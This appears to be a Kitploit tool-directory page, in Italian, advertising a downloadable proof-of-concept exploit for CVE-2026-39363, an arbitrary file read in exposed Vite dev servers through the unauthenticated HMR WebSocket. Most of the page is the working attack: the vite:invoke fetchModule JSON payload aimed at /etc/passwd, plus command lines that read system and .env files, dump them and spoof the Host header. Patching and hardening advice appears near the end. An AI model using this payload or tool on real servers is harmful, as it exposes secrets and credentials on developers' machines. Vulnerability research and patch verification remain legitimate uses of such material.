Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39363 — 方便实用的CVE-2026-39363利用工具 | Kitploit
Strumenti/GitHubGitHub/sunynov/cve-2026-39363
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubsunynov/cve-2026-39363

CVE-2026-39363

方便实用的CVE-2026-39363利用工具

Vedi Repository
15 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39363 — PoC di lettura arbitraria di file del Vite Dev Server

PoC eseguibile direttamente per GHSA-p9ff-h696-f583. Chiamando fetchModule tramite l'HMR WebSocket non autenticato, aggira la restrizione server.fs.allow a livello HTTP e legge file arbitrari sulla macchina in cui è in esecuzione il dev server.

Versioni interessate

VersioneInteressataCorretta
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (branch VoidZero)<=0.1.150.1.16

Prerequisiti di sfruttamento:

  • il dev server è esposto alla rete (configurazione --host / server.host), e
  • l'HMR WebSocket non è disabilitato (abilitato di default, disattivabile con server.ws: false).

CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306. CISA SSVC ha marcato exploitation=poc, automatable=yes.

Funzionamento

  1. A livello HTTP la lettura di file arbitrari è bloccata da server.fs.allow (/@fs/<percorso-assoluto> → 403).
  2. Ma l'handshake dell'HMR WebSocket verifica solo:
    • l'header Sec-WebSocket-Protocol: vite-hmr, e
    • il parametro query ?token= solo se è presente l'header Origin (CWE-306: i client non-browser possono connettersi direttamente senza inviare l'header Origin).
  3. Dopo la connessione, invia un evento custom vite:invoke per chiamare il metodo fetchModule registrato sul server, passando file://<percorso-assoluto>?raw. fetchModule passa direttamente attraverso la pipeline di transform dei moduli, bypassando completamente il controllo fs.allow, e restituisce il contenuto del file come export default "..." (CWE-200).

Struttura del messaggio di richiesta vite:invoke (identica in v6/v7/v8):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

Il server risponde con id cambiato in 1response; data.data.result.code contiene il contenuto del file.

Utilizzo

Richiede solo la libreria standard di Python 3, nessuna dipendenza di terze parti:

root@kitploit:~
# Legge un singolo file (percorso POSIX)
python exp.py http://target:5173 /etc/passwd

# Percorso Windows + lettura di più file
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# Salva in una directory (nome file reso sicuro automaticamente in base al percorso)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# Dev server HTTPS
python exp.py https://target:5173 /etc/passwd

# Quando il target configura una whitelist di domini allowedHosts, usa IP/localhost come header Host
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

Parametri:

Registro delle verifiche

Il PoC di questo repository è stato testato con successo nei seguenti ambienti (lettura di secret.txt al di fuori della root del dev server, il percorso HTTP @fs per lo stesso file restituisce 403):

  • Vite 8.0.4 (vite --host 0.0.0.0, Windows)
  • Vite 6.4.1 (come sopra)
  • Vite 7.3.1: confronto del codice sorgente che conferma che la struttura dei messaggi è identica a v6/v8

Passaggi per la riproduzione (stessa catena del PoC):

root@kitploit:~
# 1. Avvia un dev server vulnerabile esposto alla rete
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. Il percorso HTTP è bloccato da fs.allow (atteso 403)
curl -i 'http://target:5173/@fs/<percorso-assoluto-fuori-dalla-root>?raw'   # -> 403

# 3. Il percorso WebSocket è leggibile (questo PoC)
python exp.py http://target:5173 <percorso-assoluto-fuori-dalla-root>

Rilevamento e hardening

  • Aggiornare a 6.4.2 / 7.3.2 / 8.0.5.
  • Non bindare mai il dev server a indirizzi pubblici (di default ascolta solo su localhost).
  • Per la produzione usare vite build + hosting statico, non eseguire vite dev.
  • Se non è possibile aggiornare: disabilitare HMR con server.ws: false, oppure aggiungere un reverse proxy che consenta l'accesso alla porta del dev server solo dalla macchina locale.

Dichiarazione di non responsabilità

Da utilizzare esclusivamente in test di penetrazione autorizzati, riproduzione di vulnerabilità e ricerca difensiva. L'utente è responsabile delle conseguenze dell'uso di questo strumento su sistemi altrui senza autorizzazione.

Scarica lo strumento
ParametroDescrizione
urlTarget, es. http://192.168.1.10:5173
filesPercorsi assoluti da leggere, in stile POSIX o Windows
--host-headerHeader Host falsificato (default: host del target). Di default accetta solo IP/localhost, i domini personalizzati richiedono configurazione esplicita
--ws-pathPercorso HMR WebSocket, default / (da modificare se il target configura server.hmr.path)
--timeoutTimeout in secondi per singola richiesta, default 10
-o/--output-dirSalva i contenuti letti in una directory